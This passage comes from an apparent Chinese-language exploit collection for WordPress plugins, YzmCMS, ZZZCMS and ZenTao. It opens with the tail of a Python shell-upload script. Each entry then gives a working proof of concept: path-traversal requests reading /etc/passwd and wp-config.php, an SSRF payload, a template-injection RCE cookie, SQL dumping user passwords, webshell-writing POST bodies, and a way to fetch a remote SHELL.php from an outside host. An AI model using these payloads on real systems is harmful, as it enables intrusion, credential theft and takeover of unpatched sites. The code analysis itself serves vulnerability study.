	file_name = path.basename(file_path)
	if(file_name in response.text):
		print("Shell Uploaded!")
		if(base[-1] != '/'):
			base += '/'
		print(base + "wp-content/uploads/p3d/" + file_name);
	else:
		print("Shell Upload Failed")
		sys.exit(1)

main();
            

image-20240810161414953

漏洞描述

WordPress All-in-One Video 插件 Gallery video.php文件中存在SSRF以及任意文件读取漏洞,攻击者通过发送特定的请求包读取任意文件

漏洞影响

WordPress All-in-One Video Gallery <= 2.6.0

插件名

All-in-One Video Gallery

https://downloads.wordpress.org/plugin/all-in-one-video-gallery.2.6.0.zip

漏洞复现

对比漏洞修复的文件找到出现漏洞的文件 wp-content/plugins/all-in-one-video-gallery/public/video.php

img

这里接收 dl 参数,dl 参数不为 数字类型时,参数将 base64 解码传入

if ( is_numeric( $_GET['dl'] ) ) {
	$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
} else {
	$file = base64_decode( $_GET['dl'] );
}

if ( empty( $file ) ) {
	die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
         	exit;
      }

img

当传入的参数中不存在 http:// 或 https:// 时,参数 $formatted_path 的值改变

img

当 $formatted_path 为 url 时存在 SSRF漏洞,传入 base64编码 的目标URL就可以得到回显

/index.php/video/?dl=aHR0cHM6Ly93d3cuYmFpZHUuY29t

img

看向代码最后的片段,则存在任意文件读取漏洞

img

/index.php/video/?dl=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

image-20240810161501155

WordPress Duplicator duplicator.php 任意文件读取漏洞 CVE-2020-11738

漏洞描述

WordPress Duplicator插件由于对文件下载没有进行验证,则导致了任意文件读取漏洞

漏洞影响

Duplicator <= v1.3.26

插件名

Duplicator

https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip

漏洞复现

首先先查看注册的无需授权的action接口 wp-content/plugins/duplicator/ctrls/class.web.services.php

img

这里 wp_ajax_nopriv_duplicator_download 对应的函数名为 duplicator_download

img

public static function duplicator_download() {
        $file = sanitize_text_field($_GET['file']);
        $filepath = DUPLICATOR_SSDIR_PATH.'/'.$file;
        // Process download
        if(file_exists($filepath)) {
            // Clean output buffer
            if (ob_get_level() !== 0 && @ob_end_clean() === FALSE) {
                @ob_clean();
            }

            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($filepath));
            flush(); // Flush system output buffer

            try {
                $fp = @fopen($filepath, 'r');
                if (false === $fp) {
                    throw new Exception('Fail to open the file '.$filepath);
                }
                while (!feof($fp) && ($data = fread($fp, DUPLICATOR_BUFFER_READ_WRITE_SIZE)) !== FALSE) {
                    echo $data;
                }
                @fclose($fp);
            } catch (Exception $e) {
                readfile($filepath);
            }
            exit;
        } else {
            wp_die('Invalid installer file name!!');
        }
    }

可以看到这里接受参数 file,拼接至 $filepath 中,通过调试可以得知

DUPLICATOR_SSDIR_PATH 为 wp-snapshots 目录,file可控且没有过滤,导致任意文件读取

/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../etc/passwd

image-20240810161551117

WordPress Redux Framework class-redux-helpers.php 敏感信息泄漏漏洞 CVE-2021-38314

漏洞描述

2021年8月爆出Redux Framework存在未授权的敏感信息泄露漏洞,CVE编号为CVE-2021-38314,影响v4.2.11及以下版本,发送特定的请求包可以在未授权的情况下获取服务器敏感信息

漏洞影响

Redux Framework <= v4.2.11

插件名

Redux Framework

https://github.com/reduxframework/redux-framework

漏洞复现

影响范围为 v4.211 以下, 看一下版本间的更新差异

img

这里将 add_action 注册的函数都删除掉了,本地安装查看函数相关代码

img

$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );
add_action( 'wp_ajax_nopriv_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
add_action( 'wp_ajax_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
$hash_arg = md5( trailingslashit( network_site_url() ) . '-redux' );
add_action( 'wp_ajax_nopriv_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
add_action( 'wp_ajax_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
add_action( 'wp_ajax_redux_support_hash', array( 'Redux_Functions', 'support_hash' ) );

add_filter( 'redux/tracking/options', array( 'Redux_Helpers', 'redux_stats_additions' ) );
		

查看 add_action 注册的函数 hash_arg() 和 support_args()

public static function hash_arg() {
			echo esc_html( md5( Redux_Functions_Ex::hash_key() . '-redux' ) );
			die();
		}
public static function support_args() {
			header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
			header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . 'GMT' );
			header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
			header( 'Cache-Control: no-store, no-cache, must-revalidate' );
			header( 'Cache-Control: post-check=0, pre-check=0', false );
			header( 'Pragma: no-cache' );

			$instances = Redux::all_instances();

			if ( isset( $_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
				if ( is_array( $instances ) && ! empty( $instances ) ) {
					foreach ( $instances as $opt_name => $data ) {
						if ( md5( $opt_name . '-debug' ) === $_REQUEST['i'] ) { // phpcs:ignore WordPress.Security.NonceVerification
							$array = $data;
						}
					}
				}

				if ( isset( $array ) ) {

					// We only want the extension names and versions.
					$array->extensions = self::get_extensions( $opt_name );
					$to_return         = array();

					// Filter out all the unwanted data.
					foreach ( $array as $key => $value ) {
						if ( in_array(
							$key,
							array(
								// 'fields',
								'extensions',
								'sections',
								'args',
								// 'field_types'
							),
							true
						) ) {
							$to_return[ $key ] = $value;
						} else { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement
							// phpcs:ignore Squiz.PHP.CommentedOutCode
							/* echo $key.PHP_EOL; */
						}
					}
					$array = $to_return;
				} else {
					die();
				}
			} else {
				$array = self::get_statistics_object();
				if ( is_array( $instances ) && ! empty( $instances ) ) {
					$array['instances'] = array();
					foreach ( $instances as $opt_name => $data ) {
						$array['instances'][] = $opt_name;
					}
				}
				$array['key'] = md5( Redux_Functions_Ex::hash_key() );
			}

			ksort( $array ); // Let's make that pretty.

			// phpcs:ignored WordPress.PHP.NoSilencedErrors, WordPress.Security.EscapeOutput
			echo @htmlspecialchars( @wp_json_encode( $array, true ), ENT_QUOTES );

			die();
		}

support_args() 函数 $_REQUEST[‘i’] 为空,来到另一处分支

} else {
				$array = self::get_statistics_object();
				if ( is_array( $instances ) && ! empty( $instances ) ) {
					$array['instances'] = array();
					foreach ( $instances as $opt_name => $data ) {
						$array['instances'][] = $opt_name;
					}
				}
				$array['key'] = md5( Redux_Functions_Ex::hash_key() );
			}

跟踪 get_statistics_object() 函数,该函数可以获取 插件等环境变量 信息

img

回过头可以看到该函数 为 wp_ajax_nopriv_* 可未授权调用img

其中需要变量 $support_hash, 跟踪 hash_key() 方法

$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );

img

wp-config.php 中存在 AUTH_KEY 参数,为随机值

img

这里回到 hash_arg() 函数img

public static function hash_arg() {
			echo esc_html( md5( Redux_Functions_Ex::hash_key() . '-redux' ) );
			die();
		}

这里就调用到了 Redux_Functions_Ex::hash_key() 中的函数,且返回 md5值

回到刚刚的代码中,可以发现得到的结果同样也是 $support_hash 我们所需要知道的参数,下面为等价替换

$support_hash = md5(hash_arg(). '-support' );

img

这样我们就获取到了一个利用链

$hash_arg = md5( trailingslashit( network_site_url() ) . '-redux' );
add_action( 'wp_ajax_nopriv_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
|
获取 md5( Redux_Functions_Ex::hash_key() . '-redux')|
$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );
add_action( 'wp_ajax_nopriv_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
|
调用函数 support_args 获取系统敏感信息

img

img

img

img

成功获取到了插件版本等有关信息

WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119

漏洞描述

WordPress Simple File List插件 ee-downloader.php文件存在任意文件读取漏洞,攻击者通过漏洞可以读取服务器中的任意文件

漏洞影响

WordPress Simple File List < 3.2.8

插件名

Simple File List

https://downloads.wordpress.org/plugin/simple-file-list.3.2.17.zip

漏洞复现

存在漏洞的文件为 wp-content/plugins/simple-file-list/includes/ee-downloader.php

img

<?php // Simple File List - ee-downloader.php - rev 1.19 - mitchellbennis@gmail.com

// Force File to Download
// This script is accessed via javascript on ee-download.php 

$eeFile =  filter_var($_GET['eeFile'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW);

if(is_readable($eeFile)) {

    header('Pragma: public'); // required
    header('Expires: 0'); // no cache
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Last-Modified: '. gmdate ('D, d M Y H:i:s', filemtime ($eeFile)) .' GMT');
    header('Cache-Control: private',false);
    header('Content-Type: ' . mime_content_type($eeFile) );
    header('Content-Disposition: attachment; filename="'. basename($eeFile) .'"');
    // header('Content-Transfer-Encoding: binary');
    header('Content-Length: '. filesize($eeFile)); // provide file size
    header('Connection: close');
    readfile($eeFile); // Start the download

}
?>

直接传参获取文件信息, 验证POC

/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php

image-20240810161639057

WordPress Welcart e-Commerce progress-check.php 任意文件读取漏洞 CVE-2022-41840

漏洞描述

WordPress Welcart e-Commerce 插件 progress-check.php文件中,存在任意文件读取漏洞,攻击者痛过漏洞可以获取服务器中的任意文件信息

漏洞影响

WordPress Welcart e-Commerce <= 2.7.7

插件名

Welcart e-Commerce

https://downloads.wordpress.org/plugin/usc-e-shop.2.7.7.zip

漏洞复现

下载后对比更新的文件 usc-e-shop/functions/progress-check.php

img

修复了参数 progressfile 过滤问题导致的任意文件读取漏洞,验证POC

/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=progress-check.php

image-20240810161712407

YzmCMS

YzmCMS 后台采集模块 SSRF漏洞

漏洞描述

YzmCMS内容管理系统是一款轻量级开源内容管理系统,它采用自主研发的框架YZMPHP开发。程序基于PHP+Mysql架构,并采用MVC框架式开发的一款高效开源的内容管理系统,可运行在Linux、Windows、MacOSX、Solaris等各种平台上。

源码存在协议识别的缺陷,导致存在SSRF漏洞

漏洞影响

YzmCMS version < V5.8正式版

环境搭建


img

漏洞复现

登录后台 –> 模块管理 –> 采集管理

image-20220313234840629

添加采集规则

img

在你的服务器上编辑HTML代码

img

根目录可能不同,payload需要更改

点击采集读取根目录下的 Flag

img

出现漏洞的代码位置 yzmcms/yzmphp/core/class/cache_factory.class.php

img

这里调用 *url_check* 函数

img

可以看到这里只检测了前4位是否为 http,使用 httpxxx 即可绕过

ZZZCMS

ZZZCMS parserSearch 远程命令执行漏洞

漏洞描述

ZZZCMS parserSearch 存在模板注入导致远程命令执行漏洞

漏洞影响

ZZZCMS

网络测绘

app=”zzzcms”

漏洞复现

发送如下请求包命令执行

img

POST /?location=search HTTP/1.1
Host: 
Content-Length: 30
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: text/plain
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=rbuhrqqhoctntnak8slkascqp1; keys=%7Bif%3A%3DPHPINFO%28%29%7D%7Bend+if%7D%0D%0A


keys={if:=PHPINFO()}{end if}

执行 ping dnslog

image-20240806110342314

禅道

禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞

漏洞描述

禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入

影响版本

禅道 11.6

环境搭建

这里使用docker环境搭建

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

img

漏洞复现

这里造成漏洞的原因同样是调用接口权限无限制的原因

接口出现漏洞的原因具体参考可以查看上一篇 禅道 11.6版本 SQL注入漏洞 关于此漏洞的完整分析

第一种方法

查看module/file/moudel.php下的parseCSV方法

public function parseCSV($fileName)
    {
        $content = file_get_contents($fileName);
        /* Fix bug #890. */
        $content = str_replace("\x82\x32", "\x10", $content);
        $lines   = explode("\n", $content);

        $col  = -1;
        $row  = 0;
        $data = array();
        foreach($lines as $line)
        {
            $line    = trim($line);
            $markNum = substr_count($line, '"') - substr_count($line, '\"');
            if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
            $line = str_replace(',"",', ',,', $line);
            $line = str_replace(',"",', ',,', $line);
            $line = preg_replace_callback('/(\"{2,})(\,+)/U', array($this, 'removeInterference'), $line);
            $line = str_replace('""', '"', $line);

            /* if only one column then line is the data. */
            if(strpos($line, ',') === false and $col == -1)
            {
                $data[$row][0] = trim($line, '"');
            }
            else
            {
                /* if col is not -1, then the data of column is not end. */
                if($col != -1)
                {
                    $pos = strpos($line, '",');
                    if($pos === false)
                    {
                        $data[$row][$col] .= "\n" . $line;
                        $data[$row][$col] = str_replace('&comma;', ',', $data[$row][$col]);
                        continue;
                    }
                    else
                    {
                        $data[$row][$col] .= "\n" . substr($line, 0, $pos);
                        $data[$row][$col] = trim(str_replace('&comma;', ',', $data[$row][$col]));
                        $line = substr($line, $pos + 2);
                        $col++;
                    }
                }

                if($col == -1) $col = 0;
                /* explode cols with delimiter. */
                while($line)
                {
                    /* the cell has '"', the delimiter is '",'. */
                    if($line{0} == '"')
                    {
                        $pos  = strpos($line, '",');
                        if($pos === false)
                        {
                            $data[$row][$col] = substr($line, 1);
                            /* if line is not empty, then the data of cell is not end. */
                            if(strlen($line) >= 1) continue 2;
                            $line = '';
                        }
                        else
                        {
                            $data[$row][$col] = substr($line, 1, $pos - 1);
                            $line = substr($line, $pos + 2);
                        }
                        $data[$row][$col] = str_replace('&comma;', ',', $data[$row][$col]);
                    }
                    else
                    {
                        /* the delimiter default is ','. */
                        $pos = strpos($line, ',');
                        /* if line is not delimiter, then line is the data of cell. */
                        if($pos === false)
                        {
                            $data[$row][$col] = $line;
                            $line = '';
                        }
                        else
                        {
                            $data[$row][$col] = substr($line, 0, $pos);
                            $line = substr($line, $pos + 1);
                        }
                    }

                    $data[$row][$col] = trim(str_replace('&comma;', ',', $data[$row][$col]));
                    $col++;
                }
            }
            $row ++;
            $col = -1;
        }

        return $data;
    }

这里可以看到以file为模块名、parseCSV为方法名去调用读取文件

读取的文件名$filename参数可控,例如读取/etc/passwd

http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd

img

  • ✅注意以 .php .txt 结尾的会被 /framework/base/router.class.php中的parsePathInfo方法 过滤

第二种方法

查看module/api/moudel.php下的getMethod方法

public function getMethod($filePath, $ext = '')
{
    $fileName  = dirname($filePath);
    $className = basename(dirname(dirname($filePath)));
    if(!class_exists($className)) helper::import($fileName);
    $methodName = basename($filePath);

    $method = new ReflectionMethod($className . $ext, $methodName);
    $data   = new stdClass();
    $data->startLine  = $method->getStartLine();
    $data->endLine    = $method->getEndLine();
    $data->comment    = $method->getDocComment();
    $data->parameters = $method->getParameters();
    $data->className  = $className;
    $data->methodName = $methodName;
    $data->fileName   = $fileName;
    $data->post       = false;

    $file = file($fileName);
    for($i = $data->startLine - 1; $i <= $data->endLine; $i++)
    {
        if(strpos($file[$i], '$this->post') or strpos($file[$i], 'fixer::input') or strpos($file[$i], '$_POST'))
        {
            $data->post = true; 
        }
    }
    return $data;
}

这里与第一种大同小异,只是调用了不同模块的方法

看到 fileName = dirname(filepath) 这段则为返回的目录名

所以读取/etc/passwd则需要写为/etc/passwd/1来绕过

http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1

img

禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞

漏洞描述

禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入

影响版本

禅道 11.6

环境搭建

这里使用docker环境搭建

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

img

漏洞复现

先对禅道的调用流程进行分析,先查看目录www/index.php首页文件中

img

这里使用router::createApp创建了一个APP对象

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

来到framework/base/router.class.php文件查看到createApp方法

img

public static function createApp($appName = 'demo', $appRoot = '', $className = '')
   {
       if(empty($className)) $className = __CLASS__;
       return new $className($appName, $appRoot);
   }

这里New了一个对象,查看一下调用方法(348行)

img

在358行处调用setConfigRoot方法

$this->setConfigRoot();

public function setConfigRoot()
    {
        $this->configRoot = $this->basePath . 'config' . DS;
    }

在363行处调用loadMainConfig方法

$this->loadMainConfig();

public function loadMainConfig()
    {
        /* 初始化$config对象。Init the $config object. */
        global $config, $filter;
        if(!is_object($config)) $config = new config();
        $this->config = $config;

        /* 加载主配置文件。 Load the main config file. */
        $mainConfigFile = $this->configRoot . 'config.php';
        if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
        include $mainConfigFile;
    }

这里包含了配置文件config.php配置文件,文件目录为/config/config.php,在25行定义了调用方法

$config->requestType = 'PATH_INFO';         // 请求类型:PATH_INFO|PATHINFO2|GET。    The request type: PATH_INFO|PATH_INFO2|GET.
$config->requestFix  = '-';                 // PATH_INFO和PATH_INFO2模式的分隔符。    The divider in the url when PATH_INFO|PATH_INFO2.
$config->moduleVar   = 'm';                 // 请求类型为GET:模块变量名。            requestType=GET: the module var name.
$config->methodVar   = 'f';                 // 请求类型为GET:模块变量名。            requestType=GET: the method var name.
$config->viewVar     = 't';                 // 请求类型为GET:视图变量名。            requestType=GET: the view var name.
$config->sessionVar  = 'zentaosid';         // 请求类型为GET:session变量名。         requestType=GET: the session var name.
$config->views       = ',html,json,mhtml,xhtml,'; // 支持的视图类型。                       Supported view formats.

可以发现这里存在两种PATH_INFO|PATH_INFO2:一种是m、f、t来进行调用。另外一种是通过-来进行调用

index.php中的66行

$app->parseRequest();

public function parseRequest()
    {
        if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
        {
            $this->parsePathInfo();
            $this->setRouteByPathInfo();
        }
        elseif($this->config->requestType == 'GET')
        {
            $this->parseGET();
            $this->setRouteByGET();
        }
        else
        {
            $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
        }
    }

看到这一条则是判断力两种调用方法

$this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2'

跟进setRouteByPathInfo方法

public function setRouteByPathInfo()
    {
        if(!empty($this->URI))
        {
            /*
             * 根据$requestFix分割符,分割网址。
             * There's the request seperator, split the URI by it.
             **/
            if(strpos($this->URI, $this->config->requestFix) !== false)
            {
                $items = explode($this->config->requestFix, $this->URI);
                $this->setModuleName($items[0]);
                $this->setMethodName($items[1]);
            }    
            /*
             * 如果网址中没有分隔符,使用默认的方法。
             * No reqeust seperator, use the default method name.
             **/
            else
            {
                $this->setModuleName($this->URI);
                $this->setMethodName($this->config->default->method);
            }
        }
        else
        {    
            $this->setModuleName($this->config->default->module);   // 使用默认模块 use the default module.
            $this->setMethodName($this->config->default->method);   // 使用默认方法 use the default method.
        }
        $this->setControlFile();
    }

所以可以推断出调用的方法

例如登录页面有两种访问方法

http://xxx.xxx.xxx.xxx/index.php?m=user&f=login
http://xxx.xxx.xxx.xxx/user-login.html

再看一下checkPriv方法

public function checkPriv()
    {
        $module = $this->app->getModuleName();
        $method = $this->app->getMethodName();
        if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
        if($this->isOpenMethod($module, $method)) return true;
        if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
        if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();

        if(isset($this->app->user))
        {
            if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
        }
        else
        {
            $referer  = helper::safe64Encode($this->app->getURI(true));
            die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
        }
    }

这里检测了调用模块和方法的权限,可以知道除了isOpenMethod中定义的公开模块和方法之外,其他的方法都是需要登录的

最后是$app->loadModule();这段代码

public function loadModule()
    {
        $appName    = $this->appName;
        $moduleName = $this->moduleName;
        $methodName = $this->methodName;

        /* 
         * 引入该模块的control文件。
         * Include the control file of the module.
         **/
        $file2Included = $this->setActionExtFile() ? $this->extActionFile : $this->controlFile;
        chdir(dirname($file2Included));
        helper::import($file2Included);

        /*
         * 设置control的类名。
         * Set the class name of the control.
         **/
        $className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
        if(!class_exists($className)) $this->triggerError("the control $className not found", __FILE__, __LINE__, $exit = true);

        /*
         * 创建control类的实例。
         * Create a instance of the control.
         **/
        $module = new $className();
        if(!method_exists($module, $methodName)) $this->triggerError("the module $moduleName has no $methodName method", __FILE__, __LINE__, $exit = true);
        $this->control = $module;

        /* include default value for module*/
        $defaultValueFiles = glob($this->getTmpRoot() . "defaultvalue/*.php");
        if($defaultValueFiles) foreach($defaultValueFiles as $file) include $file;

        /* 
         * 使用反射机制获取函数参数的默认值。
         * Get the default settings of the method to be called using the reflecting. 
         *
         * */
        $defaultParams = array();
        $methodReflect = new reflectionMethod($className, $methodName);
        foreach($methodReflect->getParameters() as $param)
        {
            $name = $param->getName();

            $default = '_NOT_SET';
            if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
            {
                $default = $paramDefaultValue[$appName][$className][$methodName][$name];
            }
            elseif(isset($paramDefaultValue[$className][$methodName][$name]))
            {
                $default = $paramDefaultValue[$className][$methodName][$name];
            }
            elseif($param->isDefaultValueAvailable())
            {
                $default = $param->getDefaultValue();
            }

            $defaultParams[$name] = $default;
        }

        /** 
         * 根据PATH_INFO或者GET方式设置请求的参数。
         * Set params according PATH_INFO or GET.
         */
        if($this->config->requestType != 'GET')
        {
            $this->setParamsByPathInfo($defaultParams);
        }
        else
        {
            $this->setParamsByGET($defaultParams);
        }

        if($this->config->framework->filterParam == 2)
        {
            $_GET     = validater::filterParam($_GET, 'get');
            $_COOKIE  = validater::filterParam($_COOKIE, 'cookie');
        }

        /* 调用该方法   Call the method. */
        call_user_func_array(array($module, $methodName), $this->params);
        return $module;
    }

通过之前获取的moduleName包含对应的control类文件并实例化,随后调用setParamsByPathInfo方法从路径中获取方法对应的参数值,最后通过call_user_func_array方法调用对应control类中的对应方法并赋值。

我们查看module/api/control.php文件中的getModel方法

img

这里通过call_user_func_array函数调用所有的model文件的所有方法。

$result = call_user_func_array(array(&$module, $methodName), $params);

可以看到module/api/moudel.php中的sql函数

public function sql($sql, $keyField = '')
{
    $sql  = trim($sql);
    if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
    a($sql);
    if(empty($sql)) return '';

    if(stripos($sql, 'select ') !== 0)
    {
        return $this->lang->api->error->onlySelect;
    }
    else
    {
        try
        {
            $stmt = $this->dao->query($sql);
            if(empty($keyField)) return $stmt->fetchAll();
            $rows = array();
            while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
            return $rows;
        }
        catch(PDOException $e)
        {
            return $e->getMessage();
        }
    }
}

这里并没有进行过滤,只使用了代码$sql=trim($sql)过滤了空格

我们看一下这里的调用这个方法需要的权限

img

这里可以看到任何用户都可以调用这个模块的方法,所以我们用它调用sql方法进行查询(空格转换为+,绕过过滤)

http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user

img

成功执行sql语句

禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞

漏洞描述

禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入

影响版本

禅道 11.6

环境搭建

这里使用docker环境搭建

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

img

漏洞复现

这里造成漏洞的原因同样是调用接口权限无限制的原因

接口出现漏洞的原因具体参考可以查看上一篇 禅道 11.6版本 SQL注入漏洞 关于此漏洞的完整分析

查看module/api/ediyor/moudel.php下的save方法

public function save($filePath)
    {
        $fileContent = $this->post->fileContent;
        $evils       = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
        $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
        $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
        if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

        $dirPath = dirname($filePath);
        $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
        if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
        if(is_writable($dirPath))
        {
            file_put_contents($filePath, $fileContent);
        }
        else
        {
            die(js::alert($this->lang->editor->notWritable . $extFilePath));
        }
    }

$filePath参数和$fileContent参数 我们是可控的

调用方法往 /tmp写入一个phpinfo()

POST /api-getModel-editor-save-filePath=/tmp/shell.php

fileContent=<?php phpinfo();?>

img

img

在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含

/api-getModel-api-getMethod-filePath=/tmp/shell/1

img

也可以写入网站目录中

先获取地址

POST /api-getModel-editor-save-filePath=/tmp/shell

fileContent=<?php system('find / -name ioncube.php')?>');?>

访问 /api-getModel-api-getMethod-filePath=/tmp/shell/1

img

得到目录为 /app/zentaopma/www

请求改为

POST /api-getModel-editor-save-filePath=/tmp/shell

fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>

img

img

禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325

漏洞描述

百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。

影响版本

禅道 <= 12.4.2版本

环境搭建

img

调用接口查询版本信息

http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig

img

漏洞复现

  • ✅漏洞触发需要后台权限

根据漏洞描述查看修改后的代码片段

img

修改前

public function downloadZipPackage($version, $link)
{
    $decodeLink = helper::safe64Decode($link);
    if(preg_match('/^https?\:\/\//', $decodeLink)) return false;

    return parent::downloadZipPackage($version, $link);
}

修改后

public function downloadZipPackage($version, $link)
{
    $decodeLink = helper::safe64Decode($link);
    if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;

    $file      = basename($link);
    $extension = substr($file, strrpos($file, '.') + 1);
    if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;

    return parent::downloadZipPackage($version, $link);
}

这里传入的参数为版本和link地址,然后base64解码,正则判断是否为httphttps协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件

img

可以大写http或请求FTP来绕过正则

img

img

跟进一下parent::downloadZipPackage这个方法,跟着来到zentao\module\client\model.php文件中

img

public function downloadZipPackage($version, $link)
    {
        ignore_user_abort(true);
        set_time_limit(0);
        if(empty($version) || empty($link)) return false;
        $dir  = "data/client/" . $version . '/';
        $link = helper::safe64Decode($link);
        $file = basename($link);
        if(!is_dir($this->app->wwwRoot . $dir))
        {
            mkdir($this->app->wwwRoot . $dir, 0755, true);
        }
        if(!is_dir($this->app->wwwRoot . $dir)) return false;
        if(file_exists($this->app->wwwRoot . $dir . $file))
        {
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
        ob_clean();
        ob_end_flush();

        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
        $remote = fopen($link, 'rb');
        if($remote === false) return false;
        while(!feof($remote))
        {
            $buffer = fread($remote, 4096);
            fwrite($local, $buffer);
        }
        fclose($local);
        fclose($remote);
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
    }

可以简单看到这里获取link传入的文件名,通过fopen打开该文件,写入禅道目录www/data/client/version

查看一下有没有调用这个方法的地方

img

找到了download方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法

http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]

首先先上传一个恶意文件,可以是FTP也可以是HTTP

例如我上传的文件URL为http://peiqi.tech/SHELL.php

http://peiqi.tech/SHELL.php
|
base64加密  HTTP://peiqi.tech/SHELL.php
|
